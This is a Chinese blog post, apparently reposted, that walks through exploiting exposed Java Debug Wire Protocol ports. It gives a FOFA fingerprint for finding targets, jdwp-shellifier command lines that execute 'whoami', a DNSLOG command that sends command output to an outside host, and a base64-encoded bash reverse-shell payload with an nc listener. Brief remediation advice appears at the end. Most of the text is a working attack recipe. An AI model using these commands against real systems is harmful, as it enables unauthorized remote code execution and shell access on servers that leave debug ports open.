JDWP漏洞验证
前言JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。JDWP就是JAVA的一个调试协议。本质上我们通过IDEA或者eclipse通过断点的方式调试JAVA应用时,使用的就是JDWP。因为是调试协议,不可能带有认证信息,那么对于一个开启了调试端口的JAVA应用,我们就可能利用J
前言
JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。
JDWP就是JAVA的一个调试协议。本质上我们通过IDEA或者eclipse通过断点的方式调试JAVA应用时,使用的就是JDWP。因为是调试协议,不可能带有认证信息,那么对于一个开启了调试端口的JAVA应用,我们就可能利用JDWP进行调试,最终执行命令。在什么时候会使用到JDWP这种协议呢?比如你在线上跑了一个应用,但是这个问题只有在线上才会出现问题,那么这个时候就必须开启远程调试功能了,此时就有可能被攻击者利用RCE。
fofa指纹
banner=”jdwp” && port="8000"
漏洞证明
一般回返回如图的信息,但是亲测不返回的也是可以被利用的。
telnet xxx.xxx.xxx.xxx 8000
漏洞利用
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
漏洞利用脚本:
https://link.zhihu.com/?target=https%3A//github.com/IOActive/jdwp-shellifier
下方截图可以看到,命令执行成功,但是没因为没有回显,所以这里没有看到效果。
通过DNSLOG查看回显效果
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"
GETSHELL
远程执行:
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
对payload进行base64编码网站:
http://www.jackson-t.ca/runtime-exec-payloads.html
本地NC监听执行
nc -lvp 8888
修复建议
1、关闭JDWP端口,或者JDWP端口不对公网开放
2、关闭Java的debug模式(开启该模式对服务器性能有影响)
关注我
欢迎各位朋友关注我,或者关注我的微信公众号:小白学IT
更多推荐
所有评论(0)